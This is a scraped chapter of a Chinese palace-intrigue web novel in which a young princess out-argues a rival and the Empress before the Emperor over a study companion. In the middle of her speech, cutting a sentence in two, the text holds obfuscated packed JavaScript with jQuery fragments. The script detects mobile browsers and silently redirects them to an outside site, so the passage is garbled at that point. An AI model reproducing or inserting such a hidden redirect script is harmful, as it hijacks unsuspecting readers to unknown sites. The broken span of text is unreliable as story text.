23. 你有什么可不服气的?
作品:《当炮灰还得拯救反派》 皇帝可以用纵横之术让底下的互相制衡牵制,也可以容忍底下的人中庸无为赐个虚职当个摆设,但决不允许自己的臣民结党营私亦或是排除异己,更不会任由后宫与前朝勾结。
毕竟是一国之母,皇后显然也很快反应过来了其中的关节,僵硬地扯了扯笑:“陛下所言极是。臣妾是想着,颂礼和宋嫣都还是孩子,且都任性惯了,怕他们意气用事,伤了两家的情分,也会让陛下为难。”
“他们总要长大,哪能一直由着他们胡闹。正好也磨磨他们的性子。棱角分明,容易伤及自身。”
皇后见硬的软的都行不通,反倒叫皇帝口气强硬起来,知道再劝下去,会惹皇帝反感,不敢再触霉头。
前些日子让宋嫣在长乐宫晕倒,皇帝明里暗里敲打过她几次,所以这次即使对宋嫣不满,皇后面上却不能显。
皇后只能把气撒在容扬头上:“是臣妾多虑了,想不到李尚书家居然养出了这般能人能才。有机会,臣妾定该向尚书夫人取取经。”
好一通阴阳怪气。怨不得严颂礼越大,长得越歪。有严国公和皇后在背后保驾护航,他能翻船就见了鬼了。宋嫣在内心叹了口气,轻微地摇了摇头,反正和皇后及严家的梁子是彻底结下了。
严颂礼虽年长宋嫣几岁,但平日只懂得招猫逗狗惹事生非,更兼手底下的人捧着惯了,话里话外的弯弯绕绕只能听懂那么一两成。
但他极会察言观色,见皇后一脸憋屈,心下了然,于是赶忙上前争取:“皇上,你莫要怪罪皇后姑姑,她也是恨铁不成钢,为了草民好。”
怕皇帝不信,严颂礼还信誓旦旦地补充道:“您放心,这次选伴读,父亲和皇后娘娘都敲打过草民,草民也想着选两个秉性纯良之士,时时伴于身侧,好能见贤思齐焉。草民定当洗心革面,重新做人,定不辜负你们的期望。”
没人发话说把容扬指给他当伴读呢,他先喘上了。脸是有够大。宋嫣内心暗暗吐槽,面上却不显露出半分神色,只是看着严颂礼上前谄媚,默默不语地摸着腰间佩戴着的玉佩。
“宋家女娃娃,你呢?怎么默不作声?不争取一下?”皇帝注意到了宋嫣的举动,见宋嫣没有像第一次见面那般上前撒娇卖好,神色有几分疑惑。
宋嫣犹豫着开口:“恕臣女冒昧,臣女实在是不知——皇上是想以一国之君的身份听臣女所言,还是想以皇帝伯伯的身份听臣女所言……”
闻言皇后脸色一变,这女娃娃上次就用这法子哄得圣上龙颜大悦,这次殿选瞧她还算安分,没成想居然还敢在众人面前如此大胆。
她看向严颂礼的目光隐隐有些担忧,自家的侄孙儿怕不是这个宋嫣的对手。
而皇帝则是兴致大发,许是想不到宋嫣一介小娃娃,看着天真率性,却端得落落大方,不曾恃宠而骄,不指名问她,便在一旁不吭声不强出风头,不惹事。
更兼前些日子皇后委屈了她,这女娃也沉得住气,不四处宣扬,他派去的内侍来回话,安平王夫妇都不知她在宫内晕厥一事,叫他高看这个女娃娃一眼。
于是,他抚着串珠,挑了挑眉:“噢?两者有何分别?何者为真话?”
“两者皆为真,仅以所站角度之差而有所不同罢了。”
“朕,愿闻其详。”
她跪地叩首,而后微微直起身,直言不讳道:“臣女在家中之时,偶有惹爹爹勃然大怒之时,或可撒娇博可怜,或可端正态度自请领罚。虽臣女每每应之之时,不尽相同,实则取决于爹爹一念之间。
若爹爹气愤万分,必是臣女所犯之事过极,不可嬉皮笑脸,妄图蒙混过关,需得多加反省。而非一味纠缠爹爹,令爹爹为难。其实臣女深知,无论是非曲直,爹爹定是疼惜臣女的。"
清了清嗓,她接着道;“只是世间之事,并不是非黑即白。爹爹是臣女的父亲,对臣女疼爱有加,但也需有限度,不可过分骄纵臣女,是以不得事事皆如臣女所愿。更遑论爹爹乃一家之主,更是朝廷命官,需得以身作则。”
“不错。但那是你父亲需要考虑的事了,与你个小娃娃何干?与今日朕所问之事又何干?”
“臣女既继承安平王衣钵,得以奉郡主之位,更当以爹爹为表率,为子当思父之忧,为臣当思君之忧,莫不敢小性使然,自恃委屈万分。如此小女儿之态,当是大忌,有愧于臣女平时受尽君主、父母之恩泽,也有愧于臣女居于食邑之高位。
易地而处,皇帝伯伯乃一国之主,一言一行皆思忖后方可为,比之家父有过之而不及。臣女确有私心,但也不敢亦不至以臣女之私心,叫皇帝伯伯于宗亲间为难,叫夙兴夜寐勤政爱民的皇上于公私间为难。若真如此,便是臣女之罪过了。
故而,以圣上之身听之,臣女当以臣子之身而作答。以关切子辈的伯伯之身听之,臣女当抛却繁多顾虑,仅以子辈之愿而作答。”
皇后听完这番长篇大论,已经有些坐不住。她撇了眼那不成器的侄儿,暗暗咂舌。这个郡主看着默不作声的,比严颂礼还小上些,心智却可比肩成人。
同是以退为进,严颂礼只晓得刺喇喇地底牌尽现。明里打着自己洗心革面,希望往大家期望的样子发展,实则暗戳戳地依仗皇亲国戚的身份,伸手讨要。
可这招伸手不打笑脸人,和宋嫣以己及人的话术一对比,高下立现。
别看宋嫣看似把选择权交给皇帝,告诉皇帝自己确有私心,但实则长篇大论奠定的是她不争不抢、不卑不亢、能收能放、能屈能伸的人设。
小小年纪,确实不一般。外头对这个郡主的传言,看来并不十分真切。倒是自己这个侄孙,是真的草包。皇后的眸色深了深。
“哈哈哈哈,宋威庭这个老匹夫,倒是挺会教育子女的,不成想这么小个女娃娃,回答起来倒是头头是道的。”皇帝耐着性子问道,“既如此,若以朕皇帝的身份,你如何答?若以长辈伯伯的身份,你又当如何作答?”
“若以圣上之名,臣女会回:‘但凭圣上裁决,臣女对圣上的决断无异议。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703705|171906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
’若以伯伯的身份,臣女当会大胆回答:‘万望皇帝伯伯看在小女未曾求过何事的份上,分些怜爱之心给小女,也搏一搏小女欢喜。小女虽然通情达理,很好说话,可是也会委屈的。’”说到最后,她故意语气里添上几分委屈,嘟起了嘴,眼里噙了几滴泪,要掉不掉的样子,十分惹人怜爱。
“不是说通情达理吗?怎的还会委屈?”皇帝故意调侃道。
她扭捏了一下:“人皆有私欲,喜怒哀乐乃人之常情。小女能理解圣上,不做令圣上为难的家翁,但是小女很难为难自己,不开心了还要强装开心,说自己浑然不在意。何况压抑的越狠,反弹则越厉害。
小女宁愿大大方方承认自己会委屈会不开心,此乃因为期愿之事无法实现的失落,绝非借题发挥迁怒他人他事,只需调整些时日便好了。也绝不想欺瞒圣上,装出大度从容,口是心非地连自己的本心也背弃了。”
“宋家有女若此,实是宋家之幸。”皇帝认同地点点头。
虽说对这个李家公子的身份不满,毕竟满城风言风语早传遍了他来路不明,皇后打一见他也不喜欢,成了宋嫣的伴读倒是遂了她的愿。但是这个郡主深藏不露的功力,倒是不得不防。日后颂礼这小子要是不防,得罪了她,给严家树了敌,怕是怎么被整的都不知。
于是皇后此时也和颜悦色道:“既如此,臣妾看,李尚书之子便归给郡主当伴读吧。”
没想到皇后这么快就妥协了,她抬眸看向皇后,只见皇后满脸含笑地看着她,一副十分欣赏这个晚辈的样子。
皇后僵笑着,转而看向严颂礼的目光顿时有些恨铁不成钢。
顺水推舟,卖这个郡主一个人情。过后还得把颂礼这小子提到长乐宫来耳提面命一番,别到时候还肖想着去招惹郡主的伴读。哎,真是自己的活冤家。这家伙要是有宋嫣半分聪明通透和守礼安分,何愁无法振兴严家。
“皇后娘娘!”不成想严颂礼完全没有领会到皇后的深意,脸上写满了不满,“皇上还什么都没说呢!您怎么胳膊肘往外拐?侄孙儿笨嘴拙舌比不过郡主能说会道,但是好歹讲究一下先来后到嘛。怎么郡主妹妹想要,二话不说就让给她了?侄孙儿也会委屈的。”
好一个举一反三,他还委屈上了。
如果现在是在长乐宫,关起门来,皇后定当给他一巴掌,给他扇清醒。
金銮殿上的人精不少,大家都眼观鼻鼻观心地盯着被擦的锃亮的地板,如此白热化的气氛让他们大气都不敢出。
“男子汉大丈夫,你还委屈上了?”皇后白了他一眼,并不想替他争取,“你是来深造学业的,不是呼朋引伴的。”
最后一句的警告意味十分明显,叫严颂礼心虚地摸了摸鼻子,但还是有些不服气。
皇帝也扫了他一眼,慢悠悠道:“且不论旁的,真就只讲先来后到,你也排在嘉成郡主之后。一则,按礼部择选次序,本就应当她先选;二则,她认识李家公子,远早于你。你有什么可不服气的?”